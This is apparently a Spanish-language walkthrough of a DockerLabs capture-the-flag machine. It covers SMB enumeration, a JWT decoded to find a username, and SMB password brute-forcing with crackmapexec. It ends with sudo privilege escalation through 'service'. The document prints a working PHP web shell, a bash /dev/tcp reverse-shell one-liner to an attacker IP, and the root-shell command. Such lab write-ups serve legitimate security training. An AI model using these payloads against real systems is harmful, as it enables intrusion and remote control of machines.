

Desplegamos la máquina.

```
> sudo bash auto_deploy.sh allien.tar
[sudo] contraseña para kali:

      ##
    ## ## ##
  ## ## ## ##
 /===== \
{NN NNNN NNN NNNN NN N}
 \-----/
  \-----/
    \-----/

D O O K E R L I N E S

Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
```

Le hacemos un ping para comprobar la conectividad y además vemos que el ttl es de 64 por lo que estamos ante una Linux.

```
> ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.054 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.054/0.054/0.054/0.000 ms
```

Con nmap vemos los puertos que están abierto y sus servicios.

```
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   256 43:a1:09:2d:be:05:58:1b:01:20:d7:d0:d8:0d:7b:a6 (ECDSA)
|_  256 cd:98:0b:8a:0b:f9:f5:43:e4:44:5d:33:2f:08:2e:ce (ED25519)
80/tcp    open  http         Apache httpd 2.4.58 ((Ubuntu))
|_ http-title: Login
|_ http-server-header: Apache/2.4.58 (Ubuntu)
139/tcp   open  netbios-ssn  Samba smbd 4
445/tcp   open  netbios-ssn  Samba smbd 4
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ smb2-time:
|   date: 2025-07-19T14:29:01
|_  start_date: N/A
|_ smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_ nbstat: NetBIOS name: SAMBASERVER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
```

Como tiene un puerto samba abierto vamos a usar enum4linux para enumerar posibles usuarios y carpetas.

```
> enum4linux -a 172.17.0.2
Starting enum4linux v0.9.1 (
6:29:34 2025

===== ( Users on 172.17.0.2 )
=====
index: 0x1 RID: 0x3e8 acb: 0x000000010 Account: usuario1 Name:
index: 0x2 RID: 0x3ea acb: 0x000000010 Account: usuario3 Name:
index: 0x3 RID: 0x3ec acb: 0x000000010 Account: administrador
index: 0x4 RID: 0x3e9 acb: 0x000000010 Account: usuario2 Name:
index: 0x5 RID: 0x3eb acb: 0x000000010 Account: satriani7

===== ( Share Enumeration on 172.17.0.2 )
=====
smbXcli_negprot_smb1_done: No compatible protocol selected by server.

Sharename      Type      Comment
-----
myshare        Disk      Carpeta compartida sin restricciones
backup24       Disk      Privado
home           Disk      Produccion
IPC$           IPC       IPC Service (EseEmEB Samba Server)
```

Con smbclient accedemos a la carpeta myshare sin proporcionar contraseña.

```
> smbclient \\\\172.17.0.2\\myshare
Password for [WORKGROUP\\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
. D | 0 | Mon Oct 7 00:26:40 2024 || .. | D | 0 | Mon Oct 7 00:26:40 2024 |
| access.txt | N | 956 | Sun Oct 6 08:46:26 2024 |

```

Como vemos visto que hay un archivo .txt, lo descargamos a nuestra Kali y comprobamos su contenido.

```
smb: \> get access.txt  
getting file \\access.txt of size 956 as access.txt (9560000,0 KiloBytes/sec) (average inf KiloBytes/sec)  
smb: \> quit  
> cat access.txt
```

	File: access.txt
1	eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFPbCI6InNhZHJPYW5wbnBlc2VlbWViLmRsIiwicm9sZSI6ImNvZXIIILCjYyXQlOjE3Mjg1ZGFjYXNzMsiMvV4cCI6MTcyODE2Mzk3MywiandiriPj7Imt0eSEiIlJTQSiIm4iOiI2MzU0NTI5OTgwZWk4MDM4NjIxgmjQyMzYxMjc2NTg2NjE3MzU1MzUyUmTxnJlU0ODI2NDI1ODg4NDkzNTU1NDYxNTIyNTc1NTAwNjY0ODY2MDM4OTY0ODMwNTk4OTY0NjUxOTQ2NDEzMzU4OTI1MzU2OTM4MQwMTEmjZqMDg4MTg0Tg1MzQxmZY5NTQyNTgxNTQwOTc3MjZmZjU0MTQxNzQ5Nzc2NDQyODkwNjc3ODY2MjY1I3NzUyMEZEMzg2OTk1NzA1ODAxNm0NjA2NDE1Njk5NTM5MjAyNzczMzU0cmZjczOGdyNTc1NTUwMTIwMDc4NjUzNDc0MTU1MjMyMjkwdMAXNjM4NTIwMTExNTUyNyJE1NDKwMJQyOTYyMDM4YXNDI4NzAmKjAzNjcwOTg0NDUyMjY1NzcnNyIsImUiOiJyNTM3fX0..bqhS5qLCv5bf3sy-UHS7ZGcqjqk3LqyJ5bv-Jw6DIIoSIkMbtiocq07F7joekRXs3rowdHEuZUMEHQFWThRHr7PhQCIBVJObdvHI8WR_Gac_MPYvwvd6ASaoNEsxLZft1-hXJUwbUIZ683JqEqo6VVIapodurih2rUio4Bdzv68JI0_3MBJFMV6kQTlnM3CElkY-UdorMbTxmqDUGLKL_4C7_FLwrGSe1f_iG02MTzxvGtebhqERv-bluyUG3Dq7ajCNU_hBL68EHUsomNSPF-f_FRtdENILwF4U14PSjiZBS5e5634I9HTmzhRhvcGAQY00isCJoEXCismreZpg

Con la herramienta online hashes, hemos podido ver un email. Por lo que tenemos un usuario.

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmFpbCI6InhhbGpWcWpWbWVlLnR5Iiwicm9sZSI6Ijoi{"alg":"RS256","typ":"JWT"}{"email":"satriani7@eseemeb.dl","role"
```

Ahora podemos con crackmapexec tratar de hacer fuerza bruta y averiguar la contraseña del usuario satriani7.

```
> crackmapexec smb 172.17.0.2 -u satriani7 -p /usr/share/wordlists/rockyou.txt
SMB      172.17.0.2      445      SAMBASERVER      [*] Windows 6.1 Build 0 (na
FAILURE
SMB      172.17.0.2      445      SAMBASERVER      [+] SAMBASERVER\satriani7:50cent
```

Una vez conseguida la contraseña vamos a la carpeta backup24 y nos conectamos con el usuario y la contraseña que hemos encontrado.

```
> smbclient \\\\172.17.0.2\\backup24 -U satriani7
Password for [WORKGROUP\satriani7]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D            0   Sun Oct  6 09:19:03 2024
..               D            0   Sun Oct  6 09:19:03 2024
Desktop          D            0   Sun Oct  6 09:18:46 2024
CQF06Q~M        D            0   Sun Oct  6 09:19:03 2024
Downloads        D            0   Sun Oct  6 09:15:03 2024
Temp             D            0   Sun Oct  6 09:18:51 2024
Videos           D            0   Sun Oct  6 09:15:03 2024
Pictures         D            0   Sun Oct  6 09:15:03 2024
Documents        D            0   Sun Oct  6 09:15:03 2024
```

Dentro del directorio documents hay otro directorio personal que contiene 2 archivos .txt. Nos los descargamos a nuestra kali.

```
smb: \Documents\Personal\> ls
.                D            0   Sun Oct  6 09:17:17 2024
..               D            0   Sun Oct  6 09:15:03 2024
notes.txt        N            15   Sun Oct  6 09:19:57 2024
credentials.txt  N           902   Sun Oct  6 09:23:29 2024

      82083148 blocks of size 1024. 17734072 blocks available
smb: \Documents\Personal\> get notes.txt
getting file \Documents\Personal\notes.txt of size 15 as notes.txt (14,6 KiloBytes/sec)
smb: \Documents\Personal\> get credentials.txt
getting file \Documents\Personal\credentials.txt of size 902 as credentials.txt (average 895,5 KiloBytes/sec)
```

El archivo tiene usuarios y credenciales, pero ya que tenemos acceso como administrador pues trataremos de colar un archivo malicioso que lea php para mandarnos una reverse shell.

```
> cat credentials.txt
File: credentials.txt
1 # Archivo de credenciales
2
3 Este documento expone credenciales de usuarios, incluyendo la del usuario administrador.
4
5 Usuarios:
6 -----
7 1. Usuario: jsmith
8   - Contraseña: PassJsmith2024!
9
10 2. Usuario: abrown
11   - Contraseña: PassAbrown2024!
12
13 3. Usuario: lgarcia
14   - Contraseña: PassLgarcia2024!
15
16 4. Usuario: kchen
17   - Contraseña: PassKchen2024!
18
19 5. Usuario: tjohnson
20   - Contraseña: PassTjohnson2024!
21
22 6. Usuario: emiller
23   - Contraseña: PassEmiller2024!
24
25 7. Usuario: administrador
26   - Contraseña: AdminP4ss2024
27
28 8. Usuario: dwhite
29   - Contraseña: PassDwhite2024!
30
31 9. Usuario: nlewis
32   - Contraseña: PassNlewis2024!
33
34 10. Usuario: srodriguez
35   - Contraseña: PassSrodriguez2024!
```

Creamos el archivo malicioso .phar que es una de las extensiones que también lee código php.

```
> cat shell.phar
File: shell.phar
1 <?php
2
3     system($_GET['cmd']);
4
5 ?>
```

Y nos conectamos como administrador para subir el archivo con el que ejecutaremos código mediante el parámetro cmd.

```
> smbclient \\\\172.17.0.2\\home -U administrador
Password for [WORKGROUP\\administrador]:
Try "help" to get a list of possible commands.
smb: \> put shell.phar
putting file shell.phar as \\shell.phar (33,2 kb/s) (average 33,2 kb/s)
```

Ahora nos vamos a la web y mandamos una reverse shell a nuestra Kali por el puerto 443 previamente levantado con netcat.

```
172.17.0.2/shell.phar?cmd=bash -c 'bash -i >%26 /dev/tcp/10.0.2.65/443 0>%261'
```

Una vez dentro vemos que somos el usuario www-data, además vimos que hay un binario que con sudo podemos ejecutar como root sin contraseña.

```
> nc -lvnp 443
listening on [any] 443 ...
connect to [10.0.2.65] from (UNKNOWN) [172.17.0.2] 50348
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@3eaaf4a7da82:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
User www-data may run the following commands:
(ALL) NOPASSWD: /usr/sbin/service
```

Vemos en GTFO que podemos hacer con services y listo ya somos root aplicando el comando.

## Sudo

If the binary is allowed to run as root, it may be used to access the root shell.

```
sudo service ../../bin/sh
```

```
sudo service ../../bin/sh
id
uid=0(root) gid=0(root) groups=0(root)
bash -i
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
root@3eaaf4a7da82:/# |
```